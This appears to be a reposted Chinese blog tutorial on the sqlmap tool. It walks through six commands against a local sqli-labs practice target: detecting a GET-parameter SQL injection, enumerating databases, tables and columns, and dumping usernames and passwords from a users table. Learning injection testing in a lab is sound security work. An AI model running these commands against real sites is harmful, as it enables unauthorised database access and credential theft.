sqlmap 使用
需要安裝python2的環境
使用方法:
用最基礎的get型注入開始
1、當我們發現注入點的時候,
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1"
2、查看所有的資料庫
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dbs
3、查看當前使用的資料庫
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --current-db
4、發現使用的是security資料庫,接下來對此資料庫進行查詢
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --tables -D "security"
5、查出所有表以后,對users表的列名進行查詢
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --columns -T "users" -D "security"
6、users表中的列名已經知道了,可以直接查出所有資料
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dump -C "id,username,password" -T "users" -D "security"
在“用戶”-》“.sqlmap”-》“output”可看到查詢結果
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/6603.html
標籤:其他
上一篇:sql注入講解
